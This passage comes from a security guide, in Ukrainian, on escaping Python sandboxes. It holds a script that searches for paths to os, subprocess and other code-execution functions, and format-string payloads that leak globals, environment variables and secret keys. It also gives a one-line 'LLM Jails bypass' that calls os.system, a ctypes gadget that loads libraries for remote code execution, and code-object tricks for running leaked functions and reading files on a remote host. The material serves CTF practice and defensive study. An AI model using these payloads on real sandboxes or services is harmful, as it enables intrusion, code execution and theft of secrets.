os: CompletedProcess, Popen, NullImporter, _HackedGetData, SSLObject, Request, OpenerDirector, HTTPPasswordMgr, AbstractBasicAuthHandler, AbstractDigestAuthHandler, URLopener, _PaddedFile, CompressedValue, LogRecord, PercentStyle, Formatter, BufferingFormatter, Filter, Filterer, PlaceHolder, Manager, LoggerAdapter, HTTPConnection, MimeTypes, BlockFinder, Parameter, BoundArguments, Signature, _FragList, _SSHFormatECDSA, CertificateSigningRequestBuilder, CertificateBuilder, CertificateRevocationListBuilder, RevokedCertificateBuilder, _CallbackExceptionHelper, Context, Connection, ZipInfo, LZMACompressor, LZMADecompressor, _SharedFile, _Tellable, ZipFile, Path, _Flavour, _Selector, Cookie, CookieJar, BaseAdapter, InstallProgress, TextProgress, BaseDependency, Origin, Version, Package, _WrappedLock, Cache, ProblemResolver, _FilteredCacheHelper, FilteredCache, NullTranslations
commands:
subprocess: BaseDependency, Origin, Version, Package
pty:
importlib: NullImporter, _HackedGetData, BlockFinder, Parameter, BoundArguments, Signature, ZipInfo, LZMACompressor, LZMADecompressor, _SharedFile, _Tellable, ZipFile, Path
imp:
sys: _ModuleLock, _DummyModuleLock, _ModuleLockManager, ModuleSpec, FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, zipimporter, _ZipImportResourceReader, IncrementalEncoder, IncrementalDecoder, StreamReaderWriter, StreamRecoder, _wrap_close, Quitter, _Printer, WarningMessage, catch_warnings, _GeneratorContextManagerBase, _BaseExitStack, Untokenizer, FrameSummary, TracebackException, CompletedProcess, Popen, finalize, NullImporter, _HackedGetData, _localized_month, _localized_day, Calendar, different_locale, SSLObject, Request, OpenerDirector, HTTPPasswordMgr, AbstractBasicAuthHandler, AbstractDigestAuthHandler, URLopener, _PaddedFile, CompressedValue, LogRecord, PercentStyle, Formatter, BufferingFormatter, Filter, Filterer, PlaceHolder, Manager, LoggerAdapter, _LazyDescr, _SixMetaPathImporter, MimeTypes, ConnectionPool, _LazyDescr, _SixMetaPathImporter, Bytecode, BlockFinder, Parameter, BoundArguments, Signature, _DeprecatedValue, _ModuleWithDeprecations, Scrypt, WrappedSocket, PyOpenSSLContext, ZipInfo, LZMACompressor, LZMADecompressor, _SharedFile, _Tellable, ZipFile, Path, _Flavour, _Selector, JSONDecoder, Response, monkeypatch, InstallProgress, TextProgress, BaseDependency, Origin, Version, Package, _Framer, _Unframer, _Pickler, _Unpickler, NullTranslations, _wrap_close
builtins: FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, IncrementalEncoder, IncrementalDecoder, StreamReaderWriter, StreamRecoder, Repr, Completer, CompletedProcess, Popen, _PaddedFile, BlockFinder, Parameter, BoundArguments, Signature
pip:
pdb:
system: _wrap_close, _wrap_close
getstatusoutput: CompletedProcess, Popen
getoutput: CompletedProcess, Popen
call: CompletedProcess, Popen
Popen: CompletedProcess, Popen
spawn:
import_module:
__import__: _ModuleLock, _DummyModuleLock, _ModuleLockManager, ModuleSpec
load_source: NullImporter, _HackedGetData
execfile:
execute:
__builtins__: _ModuleLock, _DummyModuleLock, _ModuleLockManager, ModuleSpec, FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, zipimporter, _ZipImportResourceReader, IncrementalEncoder, IncrementalDecoder, StreamReaderWriter, StreamRecoder, _wrap_close, Quitter, _Printer, DynamicClassAttribute, _GeneratorWrapper, WarningMessage, catch_warnings, Repr, partialmethod, singledispatchmethod, cached_property, _GeneratorContextManagerBase, _BaseExitStack, Completer, State, SubPattern, Tokenizer, Scanner, Untokenizer, FrameSummary, TracebackException, _IterationGuard, WeakSet, _RLock, Condition, Semaphore, Event, Barrier, Thread, CompletedProcess, Popen, finalize, _TemporaryFileCloser, _TemporaryFileWrapper, SpooledTemporaryFile, TemporaryDirectory, NullImporter, _HackedGetData, DOMBuilder, DOMInputSource, NamedNodeMap, TypeInfo, ReadOnlySequentialNamedNodeMap, ElementInfo, Template, Charset, Header, _ValueFormatter, _localized_month, _localized_day, Calendar, different_locale, AddrlistClass, _PolicyBase, BufferedSubFile, FeedParser, Parser, BytesParser, Message, HTTPConnection, SSLObject, Request, OpenerDirector, HTTPPasswordMgr, AbstractBasicAuthHandler, AbstractDigestAuthHandler, URLopener, _PaddedFile, Address, Group, HeaderRegistry, ContentManager, CompressedValue, _Feature, LogRecord, PercentStyle, Formatter, BufferingFormatter, Filter, Filterer, PlaceHolder, Manager, LoggerAdapter, _LazyDescr, _SixMetaPathImporter, Queue, _PySimpleQueue, HMAC, Timeout, Retry, HTTPConnection, MimeTypes, RequestField, RequestMethods, DeflateDecoder, GzipDecoder, MultiDecoder, ConnectionPool, CharSetProber, CodingStateMachine, CharDistributionAnalysis, JapaneseContextAnalysis, UniversalDetector, _LazyDescr, _SixMetaPathImporter, Bytecode, BlockFinder, Parameter, BoundArguments, Signature, _DeprecatedValue, _ModuleWithDeprecations, DSAParameterNumbers, DSAPublicNumbers, DSAPrivateNumbers, ObjectIdentifier, ECDSA, EllipticCurvePublicNumbers, EllipticCurvePrivateNumbers, RSAPrivateNumbers, RSAPublicNumbers, DERReader, BestAvailableEncryption, CBC, XTS, OFB, CFB, CFB8, CTR, GCM, Cipher, _CipherContext, _AEADCipherContext, AES, Camellia, TripleDES, Blowfish, CAST5, ARC4, IDEA, SEED, ChaCha20, _FragList, _SSHFormatECDSA, Hash, SHAKE128, SHAKE256, BLAKE2b, BLAKE2s, NameAttribute, RelativeDistinguishedName, Name, RFC822Name, DNSName, UniformResourceIdentifier, DirectoryName, RegisteredID, IPAddress, OtherName, Extensions, CRLNumber, AuthorityKeyIdentifier, SubjectKeyIdentifier, AuthorityInformationAccess, SubjectInformationAccess, AccessDescription, BasicConstraints, DeltaCRLIndicator, CRLDistributionPoints, FreshestCRL, DistributionPoint, PolicyConstraints, CertificatePolicies, PolicyInformation, UserNotice, NoticeReference, ExtendedKeyUsage, TLSFeature, InhibitAnyPolicy, KeyUsage, NameConstraints, Extension, GeneralNames, SubjectAlternativeName, IssuerAlternativeName, CertificateIssuer, CRLReason, InvalidityDate, PrecertificateSignedCertificateTimestamps, SignedCertificateTimestamps, OCSPNonce, IssuingDistributionPoint, UnrecognizedExtension, CertificateSigningRequestBuilder, CertificateBuilder, CertificateRevocationListBuilder, RevokedCertificateBuilder, _OpenSSLError, Binding, _X509NameInvalidator, PKey, _EllipticCurve, X509Name, X509Extension, X509Req, X509, X509Store, X509StoreContext, Revoked, CRL, PKCS12, NetscapeSPKI, _PassphraseHelper, _CallbackExceptionHelper, Context, Connection, _CipherContext, _CMACContext, _X509ExtensionParser, DHPrivateNumbers, DHPublicNumbers, DHParameterNumbers, _DHParameters, _DHPrivateKey, _DHPublicKey, Prehashed, _DSAVerificationContext, _DSASignatureContext, _DSAParameters, _DSAPrivateKey, _DSAPublicKey, _ECDSASignatureContext, _ECDSAVerificationContext, _EllipticCurvePrivateKey, _EllipticCurvePublicKey, _Ed25519PublicKey, _Ed25519PrivateKey, _Ed448PublicKey, _Ed448PrivateKey, _HashContext, _HMACContext, _Certificate, _RevokedCertificate, _CertificateRevocationList, _CertificateSigningRequest, _SignedCertificateTimestamp, OCSPRequestBuilder, _SingleResponse, OCSPResponseBuilder, _OCSPResponse, _OCSPRequest, _Poly1305Context, PSS, OAEP, MGF1, _RSASignatureContext, _RSAVerificationContext, _RSAPrivateKey, _RSAPublicKey, _X25519PublicKey, _X25519PrivateKey, _X448PublicKey, _X448PrivateKey, Scrypt, PKCS7SignatureBuilder, Backend, GetCipherByName, WrappedSocket, PyOpenSSLContext, ZipInfo, LZMACompressor, LZMADecompressor, _SharedFile, _Tellable, ZipFile, Path, _Flavour, _Selector, RawJSON, JSONDecoder, JSONEncoder, Cookie, CookieJar, MockRequest, MockResponse, Response, BaseAdapter, UnixHTTPConnection, monkeypatch, JSONDecoder, JSONEncoder, InstallProgress, TextProgress, BaseDependency, Origin, Version, Package, _WrappedLock, Cache, ProblemResolver, _FilteredCacheHelper, FilteredCache, _Framer, _Unframer, _Pickler, _Unpickler, NullTranslations, _wrap_close
"""

Рекурсивний пошук Builtins, Globals...

import os, sys # Import these to find more gadgets

SEARCH_FOR = {
# Misc
"__globals__": set(),
"builtins": set(),
"__builtins__": set(),
"open": set(),

# RCE libs
"os": set(),
"subprocess": set(),
"commands": set(),
"pty": set(),
"importlib": set(),
"imp": set(),
"sys": set(),
"pip": set(),
"pdb": set(),

# RCE methods
"system": set(),
"popen": set(),
"getstatusoutput": set(),
"getoutput": set(),
"call": set(),
"Popen": set(),
"popen": set(),
"spawn": set(),
"import_module": set(),
"__import__": set(),
"load_source": set(),
"execfile": set(),
"execute": set()
}

#More than 4 is very time consuming
MAX_CONT = 4

#The ALREADY_CHECKED makes the script run much faster, but some solutions won't be found
#ALREADY_CHECKED = set()

def check_recursive(element, cont, name, orig_n, orig_i, execute):
# If bigger than maximum, stop
if cont > MAX_CONT:
return

# If already checked, stop
#if name and name in ALREADY_CHECKED:
#    return

# Add to already checked
#if name:
#    ALREADY_CHECKED.add(name)

# If found add to the dict
for k in SEARCH_FOR:
if k in dir(element) or (type(element) is dict and k in element):
SEARCH_FOR[k].add(f"{orig_i}: {orig_n}.{name}")

# Continue with the recursivity
for new_element in dir(element):
try:
check_recursive(getattr(element, new_element), cont+1, f"{name}.{new_element}", orig_n, orig_i, execute)

# WARNING: Calling random functions sometimes kills the script
# Comment this part if you notice that behaviour!!
if execute:
try:
if callable(getattr(element, new_element)):
check_recursive(getattr(element, new_element)(), cont+1, f"{name}.{new_element}()", orig_i, execute)
except:
pass

except:
pass

# If in a dict, scan also each key, very important
if type(element) is dict:
for new_element in element:
check_recursive(element[new_element], cont+1, f"{name}[{new_element}]", orig_n, orig_i)


def main():
print("Checking from empty string...")
total = [""]
for i,element in enumerate(total):
print(f"\rStatus: {i}/{len(total)}", end="")
cont = 1
check_recursive(element, cont, "", str(element), f"Empty str {i}", True)

print()
print("Checking loaded subclasses...")
total = "".__class__.__base__.__subclasses__()
for i,element in enumerate(total):
print(f"\rStatus: {i}/{len(total)}", end="")
cont = 1
check_recursive(element, cont, "", str(element), f"Subclass {i}", True)

print()
print("Checking from global functions...")
total = [print, check_recursive]
for i,element in enumerate(total):
print(f"\rStatus: {i}/{len(total)}", end="")
cont = 1
check_recursive(element, cont, "", str(element), f"Global func {i}", False)

print()
print(SEARCH_FOR)


if __name__ == "__main__":
main()

Ви можете перевірити вивід цього скрипта на цій сторінці:

https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/python/bypass-python-sandboxes/broken-reference/README.md

Python Format String

Якщо ви надішлете рядок в python, який буде відформатований, ви можете використовувати {} щоб отримати доступ до внутрішньої інформації python. Ви можете, наприклад, використовувати попередні приклади, щоб отримати доступ до globals або builtins.

# Example from https://www.geeksforgeeks.org/vulnerability-in-str-format-in-python/
CONFIG = {
"KEY": "ASXFYFGK78989"
}

class PeopleInfo:
def __init__(self, fname, lname):
self.fname = fname
self.lname = lname

def get_name_for_avatar(avatar_str, people_obj):
return avatar_str.format(people_obj = people_obj)

people = PeopleInfo('GEEKS', 'FORGEEKS')

st = "{people_obj.__init__.__globals__[CONFIG][KEY]}"
get_name_for_avatar(st, people_obj = people)

Зверніть увагу, як ви можете access attributes звичайним способом через dot як people_obj.__init__ та dict element через parenthesis без лапок __globals__[CONFIG]

Також зауважте, що ви можете використовувати .__dict__ для перерахування елементів об'єкта get_name_for_avatar("{people_obj.__init__.__globals__[os].__dict__}", people_obj = people)

Ще одна цікава особливість форматних рядків — можливість executing functions str, repr та ascii у вказаному об'єкті, додавши відповідно !s, !r, !a:

st = "{people_obj.__init__.__globals__[CONFIG][KEY]!a}"
get_name_for_avatar(st, people_obj = people)

Крім того, можливо code new formatters у класах:

class HAL9000(object):
def __format__(self, format):
if (format == 'open-the-pod-bay-doors'):
return "I'm afraid I can't do that."
return 'HAL 9000'

'{:open-the-pod-bay-doors}'.format(HAL9000())
#I'm afraid I can't do that.

Більше прикладів щодо format string можна знайти на https://pyformat.info/

Python Internal Read Gadgets

Payloads для розкриття чутливої інформації

{whoami.__class__.__dict__}
{whoami.__globals__[os].__dict__}
{whoami.__globals__[os].environ}
{whoami.__globals__[sys].path}
{whoami.__globals__[sys].modules}

# Access an element through several links
{whoami.__globals__[server].__dict__[bridge].__dict__[db].__dict__}

# Example from https://corgi.rip/posts/buckeye-writeups/
secret_variable = "clueless"
x = new_user.User(username='{i.find.__globals__[so].mapperlib.sys.modules[__main__].secret_variable}',password='lol')
str(x) # Out: clueless

LLM Jails bypass

From here: ().class.base.subclasses()[108].load_module('os').system('dir')

Від format до RCE: завантаження бібліотек

Згідно з TypeMonkey chall from this writeup можливо завантажувати довільні бібліотеки з диска, зловживаючи format string vulnerability в python.

Нагадаю, що щораз, коли в python виконується дія, виконується деяка функція. Наприклад 2*3 виконає (2).mul(3) або {'a':'b'}['a'] виконає {'a':'b'}.__getitem__('a').

Більше подібного дивіться в розділі Python execution without calls.

A python format string vuln не дозволяє виконувати функцію (вона не дозволяє використовувати дужки), тому неможливо отримати RCE як '{0.system("/bin/sh")}'.format(os).
Однак, можна використовувати []. Тому, якщо якась поширена python бібліотека має метод __getitem__ або __getattr__, який виконує довільний код, їх можна зловживати, щоб отримати RCE.

Шукаючи такий gadget у python, розбір пропонує цей Github search query. Де він знайшов ось цей one:

class LibraryLoader(object):
def __init__(self, dlltype):
self._dlltype = dlltype

def __getattr__(self, name):
if name[0] == '_':
raise AttributeError(name)
try:
dll = self._dlltype(name)
except OSError:
raise AttributeError(name)
setattr(self, name, dll)
return dll

def __getitem__(self, name):
return getattr(self, name)

cdll = LibraryLoader(CDLL)
pydll = LibraryLoader(PyDLL)

Цей гаджет дозволяє load a library from disk. Тому потрібно якимось чином write or upload the library to load, правильно скомпільовану для атакованого сервера.

'{i.find.__globals__[so].mapperlib.sys.modules[ctypes].cdll[/path/to/file]}'

Задача насправді зловживає іншою вразливістю на сервері, яка дозволяє створювати довільні файли на диску сервера.

Розбір Python Objects

У деяких CTFs вам можуть надати назву custom function where the flag і потрібно побачити internals цієї function, щоб витягти flag.

Ось function для інспекції:

def get_flag(some_input):
var1=1
var2="secretcode"
var3=["some","array"]
if some_input == var2:
return "THIS-IS-THE-FALG!"
else:
return "Nope"

dir

dir() #General dir() to find what we have loaded
['__builtins__', '__doc__', '__name__', '__package__', 'b', 'bytecode', 'code', 'codeobj', 'consts', 'dis', 'filename', 'foo', 'get_flag', 'names', 'read', 'x']
dir(get_flag) #Get info tof the function
['__call__', '__class__', '__closure__', '__code__', '__defaults__', '__delattr__', '__dict__', '__doc__', '__format__', '__get__', '__getattribute__', '__globals__', '__hash__', '__init__', '__module__', '__name__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', 'func_closure', 'func_code', 'func_defaults', 'func_dict', 'func_doc', 'func_globals', 'func_name']

globals

__globals__ and func_globals (те саме) отримують глобальне середовище. У прикладі ви можете побачити деякі імпортовані модулі, деякі глобальні змінні та їхній вміст:

get_flag.func_globals
get_flag.__globals__
{'b': 3, 'names': ('open', 'read'), '__builtins__': <module '__builtin__' (built-in)>, 'codeobj': <code object <module> at 0x7f58c00b26b0, file "noname", line 1>, 'get_flag': <function get_flag at 0x7f58c00b27d0>, 'filename': './poc.py', '__package__': None, 'read': <function read at 0x7f58c00b23d0>, 'code': <type 'code'>, 'bytecode': 't\x00\x00d\x01\x00d\x02\x00\x83\x02\x00j\x01\x00\x83\x00\x00S', 'consts': (None, './poc.py', 'r'), 'x': <unbound method catch_warnings.__init__>, '__name__': '__main__', 'foo': <function foo at 0x7f58c020eb50>, '__doc__': None, 'dis': <module 'dis' from '/usr/lib/python2.7/dis.pyc'>}

#If you have access to some variable value
CustomClassObject.__class__.__init__.__globals__

See here more places to obtain globals

Доступ до коду функції

__code__ and func_code: Ви можете отримати доступ до цього атрибуту функції, щоб отримати об'єкт коду функції.

# In our current example
get_flag.__code__
<code object get_flag at 0x7f9ca0133270, file "<stdin>", line 1

# Compiling some python code
compile("print(5)", "", "single")
<code object <module> at 0x7f9ca01330c0, file "", line 1>

#Get the attributes of the code object
dir(get_flag.__code__)
['__class__', '__cmp__', '__delattr__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__gt__', '__hash__', '__init__', '__le__', '__lt__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', 'co_argcount', 'co_cellvars', 'co_code', 'co_consts', 'co_filename', 'co_firstlineno', 'co_flags', 'co_freevars', 'co_lnotab', 'co_name', 'co_names', 'co_nlocals', 'co_stacksize', 'co_varnames']

Отримання інформації про Code

# Another example
s = '''
a = 5
b = 'text'
def f(x):
return x
f(5)
'''
c=compile(s, "", "exec")

# __doc__: Get the description of the function, if any
print.__doc__

# co_consts: Constants
get_flag.__code__.co_consts
(None, 1, 'secretcode', 'some', 'array', 'THIS-IS-THE-FALG!', 'Nope')

c.co_consts #Remember that the exec mode in compile() generates a bytecode that finally returns None.
(5, 'text', <code object f at 0x7f9ca0133540, file "", line 4>, 'f', None

# co_names: Names used by the bytecode which can be global variables, functions, and classes or also attributes loaded from objects.
get_flag.__code__.co_names
()

c.co_names
('a', 'b', 'f')


#co_varnames: Local names used by the bytecode (arguments first, then the local variables)
get_flag.__code__.co_varnames
('some_input', 'var1', 'var2', 'var3')

#co_cellvars: Nonlocal variables These are the local variables of a function accessed by its inner functions.
get_flag.__code__.co_cellvars
()

#co_freevars: Free variables are the local variables of an outer function which are accessed by its inner function.
get_flag.__code__.co_freevars
()

#Get bytecode
get_flag.__code__.co_code
'd\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x00|\x00\x00|\x02\x00k\x02\x00r(\x00d\x05\x00Sd\x06\x00Sd\x00\x00S'

Дизасемблювати функцію

import dis
dis.dis(get_flag)
2           0 LOAD_CONST               1 (1)
3 STORE_FAST               1 (var1)

3           6 LOAD_CONST               2 ('secretcode')
9 STORE_FAST               2 (var2)

4          12 LOAD_CONST               3 ('some')
15 LOAD_CONST               4 ('array')
18 BUILD_LIST               2
21 STORE_FAST               3 (var3)

5          24 LOAD_FAST                0 (some_input)
27 LOAD_FAST                2 (var2)
30 COMPARE_OP               2 (==)
33 POP_JUMP_IF_FALSE       40

6          36 LOAD_CONST               5 ('THIS-IS-THE-FLAG!')
39 RETURN_VALUE

8     >>   40 LOAD_CONST               6 ('Nope')
43 RETURN_VALUE
44 LOAD_CONST               0 (None)
47 RETURN_VALUE

Зауважте, що якщо ви не можете імортувати dis в python sandbox ви можете отримати bytecode функції (get_flag.func_code.co_code) і disassemble його локально. Ви не побачите вміст змінних, які завантажуються (LOAD_CONST), але можете вгадати їх із (get_flag.func_code.co_consts), тому що LOAD_CONST також показує зсув змінної, що завантажується.

dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x00|\x00\x00|\x02\x00k\x02\x00r(\x00d\x05\x00Sd\x06\x00Sd\x00\x00S')
0 LOAD_CONST          1 (1)
3 STORE_FAST          1 (1)
6 LOAD_CONST          2 (2)
9 STORE_FAST          2 (2)
12 LOAD_CONST          3 (3)
15 LOAD_CONST          4 (4)
18 BUILD_LIST          2
21 STORE_FAST          3 (3)
24 LOAD_FAST           0 (0)
27 LOAD_FAST           2 (2)
30 COMPARE_OP          2 (==)
33 POP_JUMP_IF_FALSE    40
36 LOAD_CONST          5 (5)
39 RETURN_VALUE
>>   40 LOAD_CONST          6 (6)
43 RETURN_VALUE
44 LOAD_CONST          0 (0)
47 RETURN_VALUE

Компіляція Python

Тепер уявімо, що якимось чином ви можете dump інформацію про функцію, яку не можете виконати, але вам потрібно її виконати.
Як у наведеному прикладі, ви можете отримати доступ до code object цієї функції, але лише читаючи disassemble ви не знаєте, як обчислити flag (уявіть більш складну функцію calc_flag)

def get_flag(some_input):
var1=1
var2="secretcode"
var3=["some","array"]
def calc_flag(flag_rot2):
return ''.join(chr(ord(c)-2) for c in flag_rot2)
if some_input == var2:
return calc_flag("VjkuKuVjgHnci")
else:
return "Nope"

Створення об'єкта коду

По-перше, нам потрібно знати як створити та виконати об'єкт коду, щоб ми могли створити один для виконання нашої функції leaked:

code_type = type((lambda: None).__code__)
# Check the following hint if you get an error in calling this
code_obj = code_type(co_argcount, co_kwonlyargcount,
co_nlocals, co_stacksize, co_flags,
co_code, co_consts, co_names,
co_varnames, co_filename, co_name,
co_firstlineno, co_lnotab, freevars=None,
cellvars=None)

# Execution
eval(code_obj) #Execute as a whole script

# If you have the code of a function, execute it
mydict = {}
mydict['__builtins__'] = __builtins__
function_type(code_obj, mydict, None, None, None)("secretcode")

import types
types.CodeType.__doc__
'code(argcount, posonlyargcount, kwonlyargcount, nlocals, stacksize,\n      flags, codestring, constants, names, varnames, filename, name,\n      firstlineno, lnotab[, freevars[, cellvars]])\n\nCreate a code object.  Not for the faint of heart.'

Відтворення leaked function

fc = get_flag.__code__
# In a real situation the values like fc.co_argcount are the ones you need to leak
code_obj = code_type(fc.co_argcount, fc.co_kwonlyargcount, fc.co_nlocals, fc.co_stacksize, fc.co_flags, fc.co_code, fc.co_consts, fc.co_names, fc.co_varnames, fc.co_filename, fc.co_name, fc.co_firstlineno, fc.co_lnotab, cellvars=fc.co_cellvars, freevars=fc.co_freevars)

mydict = {}
mydict['__builtins__'] = __builtins__
function_type(code_obj, mydict, None, None, None)("secretcode")
#ThisIsTheFlag

Обхід захистів

У попередніх прикладах на початку цього допису ви можете побачити як виконати будь-який python код за допомогою функції compile. Це цікаво, оскільки ви можете виконувати цілі скрипти з циклами та всім іншим в one liner (і ми могли б зробити те саме, використовуючи exec).
У будь-якому разі, іноді може бути корисно створити скомпільований об'єкт на локальній машині та виконати його в CTF machine (наприклад тому, що у нас немає функції compiled у CTF).

Наприклад, давайте вручну скомпілюємо та виконаємо функцію, яка читає ./poc.py:

#Locally
def read():
return open("./poc.py",'r').read()

read.__code__.co_code
't\x00\x00d\x01\x00d\x02\x00\x83\x02\x00j\x01\x00\x83\x00\x00S'

#On Remote
function_type = type(lambda: None)
code_type = type((lambda: None).__code__) #Get <type 'type'>
consts = (None, "./poc.py", 'r')
bytecode = 't\x00\x00d\x01\x00d\x02\x00\x83\x02\x00j\x01\x00\x83\x00\x00S'
names = ('open','read')

# And execute it using eval/exec
eval(code_type(0, 0, 3, 64, bytecode, consts, names, (), 'noname', '<module>', 1, '', (), ()))

#You could also execute it directly
mydict = {}
mydict['__builtins__'] = __builtins__
codeobj = code_type(0, 0, 3, 64, bytecode, consts, names, (), 'noname', '<module>', 1, '', (), ())
function_type(codeobj, mydict, None, None, None)()

Якщо ви не можете отримати доступ до eval або exec, ви можете створити коректну функцію, але викликати її безпосередньо зазвичай призведе до помилки: конструктор недоступний в обмеженому режимі. Отже вам потрібна функція поза обмеженим середовищем, яка викличе цю функцію.

#Compile a regular print
ftype = type(lambda: None)
ctype = type((lambda: None).func_code)
f = ftype(ctype(1, 1, 1, 67, '|\x00\x00GHd\x00\x00S', (None,), (), ('s',), 'stdin', 'f', 1, ''), {})
f(42)

Декомпілювання скомпільованого Python

Використовуючи інструменти, такі як https://www.decompiler.com/, можна декомпілювати даний скомпільований код Python.

Перегляньте цей підручник:

Decompile compiled python binaries (exe, elf) - Retreive from .pyc

Різне про Python

Assert

Якщо Python запускається з оптимізаціями з параметром -O, він видалить asset statements і будь-який код, умовний від значення debug.
Отже, перевірки на кшталт

def check_permission(super_user):
try:
assert(super_user)
print("\nYou are a super user\n")
except AssertionError:
print(f"\nNot a Super User!!!\n")

буде обійдено

Посилання

• https://lbarman.ch/blog/pyjail/
• https://ctf-wiki.github.io/ctf-wiki/pwn/linux/sandbox/python-sandbox-escape/
• https://blog.delroth.net/2013/03/escaping-a-python-sandbox-ndh-2013-quals-writeup/
• https://gynvael.coldwind.pl/n/python_sandbox_escape
• https://nedbatchelder.com/blog/201206/eval_really_is_dangerous.html
• https://infosecwriteups.com/how-assertions-can-get-you-hacked-da22c84fb8f6
• CVE-2023-33733 (ReportLab rl_safe_eval expression evaluation RCE) – NVD
• c53elyas/CVE-2023-33733 PoC and write-up
• 0xdf: University (HTB) – Exploiting xhtml2pdf/ReportLab CVE-2023-33733 to gain RCE